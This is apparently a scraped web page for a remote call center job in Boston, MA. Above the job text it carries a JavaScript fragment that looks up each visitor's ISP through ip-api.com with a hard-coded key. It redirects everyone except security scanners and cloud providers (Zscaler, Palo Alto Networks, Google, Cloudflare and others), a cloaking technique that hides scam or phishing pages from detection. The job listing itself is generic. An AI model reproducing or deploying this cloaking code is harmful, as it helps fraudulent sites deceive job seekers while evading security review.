Call Center Representative – Work From Home

Call Center Representative – Work From Home

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a motivated Call Center Representative - Work From Home based in Boston, MA, to deliver exceptional customer service via phone and digital channels.

Responsibilities:

  • Handle inbound and outbound customer calls efficiently and professionally
  • Provide accurate information, resolve issues, and document interactions
  • Assist customers with product inquiries, orders, and technical support
  • Maintain a high level of customer satisfaction and adhere to quality standards
  • Follow company protocols and update customer records accurately in the database

Skills Needed:

  • Excellent communication and active listening skills
  • Strong problem-solving abilities
  • Self-motivated with the ability to work independently
  • Reliable internet connection and a quiet work environment

Benefits:

  • Competitive hourly pay and performance bonuses
  • Flexible work hours within designated shifts
  • Remote work setup support
  • Comprehensive training and ongoing development opportunities
Emploment Location
Boston, Massachusetts

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